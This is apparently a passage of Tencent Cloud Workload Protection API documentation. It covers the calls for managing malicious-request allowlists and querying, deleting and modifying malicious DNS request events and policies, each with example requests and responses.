"HostIp": "2402:4e00:1010:5401:0:8f51:5190:3bfa",
"Alias": "ipv6_windows_test",
"Description": "desc",
"Uuid": "e761c2dc-bc72-40cd-b9ed-d233c86b1a8",
"Pid": 1,
"Id": 1,
"Tags": [
"vueir",
"mle"
],
"MachineWanIp": "1.1.1.1",
"MachineStatus": "OFFLINE",
"SuggestScheme": "reboot",
"CmdLine": "ps -ef",
"Reference": "/tmp/acsess"
}
],
"TotalCount": 20
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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CreateMaliciousRequestWhiteList

Last updated：2024-12-06 15:41:05

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add malicious request allowlists.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateMaliciousRequestWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Domain	Yes	String	Allowlisted domain names
Mark	No	String	Remarks

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Adding the Malicious Request Allowlist

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=CreateMaliciousRequestWhiteList
&Domain=www.qq.com
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "4234234"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ModifyMaliciousRequestWhiteList

Last updated：2024-12-06 15:40:58

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to update the malicious request allowlist.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyMaliciousRequestWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Allowlist ID
Domain	Yes	String	Allowlisted domain names
Mark	No	String	Remarks

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Updating the Malicious Request Allowlist

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ModifyMaliciousRequestWhiteList
&Id=1
&Domain=www.qq.com
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "29b37d86-f63d-43d1-b21a-640e82965198"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for C++

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.

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DeleteMaliciousRequestWhiteList

Last updated：2024-12-06 15:41:04

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the malicious request allowlist.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteMaliciousRequestWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Allowlist IDs (The maximum number is 100.)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Malicious Request Allowlist

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteMaliciousRequestWhiteList
&Ids.0=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "req-566234234"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeMaliciousRequestWhiteList

Last updated：2024-12-06 15:41:02

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of malicious request allowlists.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMaliciousRequestWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Quantity of returns. It is 10 by default, and the maximum value is 100.
Offset	Yes	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filters	Filter criteria • Domain - String - baseline name
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]

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By	No	String	Sorting field

3. Output Parameters

Parameter Name	Type	Description
List	Array of MaliciousRequestWhiteListInfo	List of allowlist information Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of pagination query records Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the Malicious Request Allowlist List

This example shows you how to query the list of malicious request allowlists.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeMaliciousRequestWhiteList
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "f1dd9f5e-4ac0-48a7-9410-c86d24656d9a",
"TotalCount": 100,
"List": [
{
```

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```
"Mark": "Remark 1",
"Id": 1,
"Domain": "dnakdnak",
"CreateTime": "2021-02-08 14:46:25",
"ModifyTime": "2021-02-08 14:46:25"
}
]
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DeleteRiskDnsEvent

Last updated：2024-12-06 15:41:03

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete malicious request events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteRiskDnsEvent.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	Malicious request record ID array. (The maximum number of IDs is 100.) Delete all if it is left blank.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting a Malicious Request Event

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteRiskDnsEvent
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "130e109f-a922-4d16-827d-b17a366125a2"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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DeleteRiskDnsPolicy

Last updated：2024-12-06 15:41:03

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete malicious request policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteRiskDnsPolicy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
PolicyIds.N	No	Array of Integer	Policy ID

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting a Malicious Request Policy

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteRiskDnsPolicy
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "130e109f-a922-4d16-827d-b17a366125a2"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for C++

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeRiskDnsEventInfo

Last updated：2024-12-06 15:41:02

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query malicious request event details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRiskDnsEventInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Malicious request event ID

3. Output Parameters

Parameter Name	Type	Description
Info	RiskDnsEvent	Malicious request event details

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		Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Query malicious request event details.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRiskDnsEventInfo
<Common request parameters>

{
"Id": 1
}
```

Output Example

```
{
"Response": {
"Info": {
"Id": 10368,
"PolicyId": 0,
"PolicyType": -1,
"PolicyName": "",
"ProtectLevel": 2,
"HostId": "02db9a21-78fe-4a4c-b96f-a11bf819a962",
"HostName": "v_llzlu malicious request",
"HostIp": "192.168.111.28",
"WanIp": "43.138.255.181",
"HostStatus": "OFFLINE",
"AgentId": "02db9a21-78fe-4a4c-b96f-a11bf819a962",
"Domain": "183.60.95.201",
"Tags": [],
"AccessCount": 1,
"ThreatDesc": "Detected access to malicious IPs/domains of your host. Your host m
ay have been compromised.\nMalicious IPs/domain names could be the hacker's remot
e control servers, source of malware downloads, mining pool address, and so on.",
```

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```
"SuggestSolution": "1. Check for malicious processes and invalid ports, and remov
e suspicious startup items and scheduled tasks;\n2. Isolate or delete related Tro
jan files;\n3. Conduct a risk detection on the system and reinforce the security.
For details, see the following links: \n[Linux]https://cloud.tencent.com/documen
t/product/296/9604\n[Windows]https://cloud.tencent.com/document/product/296/9605"
,
"ReferenceLink": "",
"HandleStatus": 6,
"Pid": 1387042,
"ProcessName": "/usr/bin/ping",
"ProcessMd5": "7f42e35e3065eaa9a58b89e249e8cbc7",
"CmdLine": "ping 183.60.95.201 ",
"FirstTime": "2022-09-19 14:57:23",
"LastTime": "2022-09-19 14:57:23"
},
"RequestId": "083fae4c-ac2c-4e41-ad88-b4420c9fce7c"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
ResourceNotFound	The resource does not exist.

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DescribeRiskDnsEventList

Last updated：2024-12-06 15:41:01

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of malicious request events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRiskDnsEventList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• IpOrName - String - required: no - filter by host IP or alias • HostId - String - required: no - host ID • AgentId - String - required: no - client ID • PolicyType - String - required: no - policy type: 0 - system policy; 1 - user-defined policy • Domain - String - required: no - domain name (First convert the domain name into the urlencode format, and then encode it using base64.) • HandleStatus - String - required: no - filter by status: 0 - pending; 2 - trusted; 3 - untrusted

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			• BeginTime - String - required: no - start time of last access • EndTime - String - required: no - end time of last access
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Offset	No	Integer	Offset, which defaults to 0
Order	No	String	Sorting method: sort by number of requests [asc: ascending order|desc: descending order]
By	No	String	Sorting field: [AccessCount: number of requests|LastTime: last request time]

3. Output Parameters

Parameter Name	Type	Description
List	Array of RiskDnsEvent	Malicious Request Event List Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Malicious Request Event List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRiskDnsEventList
<Common request parameters>

{}
```

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Output Example


```
{
"Response": {
"List": [
{
"Id": 10368,
"PolicyId": 5000179,
"PolicyType": 1,
"PolicyName": "v_llzlu interception",
"ProtectLevel": 2,
"HostId": "02db9a21-78fe-4a4c-b96f-a11bf819a962",
"HostName": "v_llzlu malicious request",
"HostIp": "192.168.111.28",
"WanIp": "43.138.255.181",
"HostStatus": "OFFLINE",
"AgentId": "02db9a21-78fe-4a4c-b96f-a11bf819a962",
"Domain": "183.60.95.201",
"Tags": [],
"AccessCount": 1,
"ThreatDesc": "Detected access to malicious IPs/domains on your host. Your host m
ay have been compromised.\nMalicious IPs/domain names could be the hacker's remot
e control servers, source of malware downloads, mining pool address,and so on.",
"SuggestSolution": "1. Check for malicious processes and invalid ports, remove su
spicious startup items and scheduled tasks;\n2. Isolate or delete related Trojan
files;\n3. Conduct a risk detection on the system and reinforce the security. For
details, refer to the following link: \n[Linux]https://cloud.tencent.com/documen
t/product/296/9604\n[Windows]https://cloud.tencent.com/document/product/296/9605"
,
"ReferenceLink": "",
"HandleStatus": 6,
"Pid": 1387042,
"ProcessName": "/usr/bin/ping",
"ProcessMd5": "7f42e35e3065eaa9a58b89e249e8cbc7",
"CmdLine": "ping 183.60.95.201 ",
"FirstTime": "2022-09-19 14:57:23",
"LastTime": "2022-09-19 14:57:23"
}
],
"RequestId": "130e109f-a922-4d16-827d-b17a366125a2",
"TotalCount": 9989
}
}
```


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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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DescribeRiskDnsPolicyList

Last updated：2024-12-06 15:41:00

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of malicious request policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRiskDnsPolicyList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• PolicyType - int - required: no - policy type • PolicyName - string - required: no - policy name • Domain - string - required: no - domain name (URL encoding and then Base64 encoding on the domain name) • PolicyAction - int - required: no - policy action • IsEnabled - int - required: no - whether the policy is enabled
Limit	No	Integer	Limit Entries, 10 by default, up to 100
Offset	No	Integer	Offset, which is 0 by default.

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Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]
By	No	String	Sorting column: [HostScope|UpdateTime]

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number
List	Array of RiskDnsPolicy	Data list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Getting Malicious Request Policy List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRiskDnsPolicyList
<Common request parameters>

{
"Limit": 10
}
```

Output Example

```
{
"Response": {
"List": [
{
"PolicyId": 1001,
"PolicyName": "System rule (important period guarantee)",
```

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```
"PolicyType": 0,
"PolicyDesc": "System rule (important period guarantee)",
"PolicyAction": 0,
"HostScope": 1,
"HostIds": [],
"Domains": [
""
],
"IsEnabled": 1,
"IsDealOldEvent": 0,
"EventId": 0,
"UpdateTime": "2022-09-19 17:12:01"
}
],
"RequestId": "a8a04837-4318-4a21-8a05-7096ed84062c",
"TotalCount": 21
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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ExportRiskDnsPolicyList

Last updated：2024-12-06 15:40:58

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the malicious request policy list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportRiskDnsPolicyList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• PolicyType - int - whether required: no - policy type • PolicyName - string - whether required: no - policy name • Domain - string - Required: No - Domain (first urlencode the domain, then base64) • PolicyAction- int - whether required: no - policy action • IsEnabled - int - whether required: no - whether effective
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]
By	No	String	Optional sorting column: [PolicyName|HostType]

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3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download task ID. It is used together with the ExportTasks API.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Malicious Request Policies

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportRiskDnsPolicyList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "130e109f-a922-4d16-827d-b17a366125a2",
"TaskId": "9989"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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ModifyRiskDnsPolicy

Last updated：2024-12-06 15:40:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify malicious request policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyRiskDnsPolicy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Data	Yes	RiskDnsPolicy	Policy

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Changing a Malicious Request Policy

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyRiskDnsPolicy
<Common request parameters>

{
"Data": {
"PolicyId": 5000001,
"PolicyName": "test",
"PolicyType": 1,
"PolicyDesc": "desc",
"PolicyAction": 1,
"HostScope": 1,
"HostIds": [
"a918d8a1-c4c1-4998-80ff-5a60792c93a8"
],
"Domains": [
"YS5jb20="
],
"IsEnabled": 1,
"IsDealOldEvent": 1,
"UpdateTime": "2022-09-19 17:12:01",
"EventId": 1
}
}
```

Output Example

```
{
"Response": {
"RequestId": "130e109f-a922-4d16-827d-b17a366125a2"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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ModifyRiskDnsPolicyStatus

Last updated：2024-12-06 15:40:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the status of malicious request policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyRiskDnsPolicyStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
PolicyId	Yes	Integer	Policy ID
IsEnabled	Yes	Integer	Whether effective [0: effective,1: not effective]

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Changing the Malicious Request Policy Status

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyRiskDnsPolicyStatus
<Common request parameters>

{
"PolicyId": 500001,
"IsEnabled": 0
}
```

Output Example

```
{
"Response": {
"RequestId": "130e109f-a922-4d16-827d-b17a366125a2"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error

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DescribeRiskDnsInfo

Last updated：2025-03-11 23:00:03

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query malicious request details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRiskDnsInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Malicious request - event ID

3. Output Parameters

Parameter Name	Type	Description
RiskDnsInfo	RiskDnsList	Malicious request event details

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to query malicious request details.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRiskDnsInfo
<Common request parameters>

{
"Id": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "5d14133e-4727-4937-b076-6ff1b9a59f14",
"RiskDnsInfo": {
"AccessCount": 7,
"Alias": "Alias",
"CmdLine": "cmd",
"CreateTime": "2024-10-24 09:10:13",
"Description": "Unknown APT group",
"GlobalRuleId": 0,
"HostIp": "1.1.1.1",
"Id": 10001,
"MachineStatus": "ONLINE",
"MachineWanIp": "1.1.1.1",
"MergeTime": "2024-10-24 09:10:27",
"Pid": 0,
"ProcessMd5": "472c65af3f43136472d1a383f5******",
"ProcessName": "/bin/a***",
"Quuid": "05f0bcab-726c-4ea4-8109-bcd03d5598f7",
"Reference": "ref",
```

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```
"Status": 0,
"SuggestScheme": "1. Check for malicious processes and invalid ports, and delete suspicious startup items and scheduled tasks.\n2. Isolate or delete related Trojan files.\n3. Conduct risk investigation on the system and perform security reinforcement. For details, refer to the following link: \n[Linux] https://cloud.tencent.com/document/product/296/9604 \n[Windows] https://cloud.tencent.com/document/product/296/9605",
"Tags": [
"apt",
"apt"
],
"Url": "www.test.com",
"UserRuleId": 0,
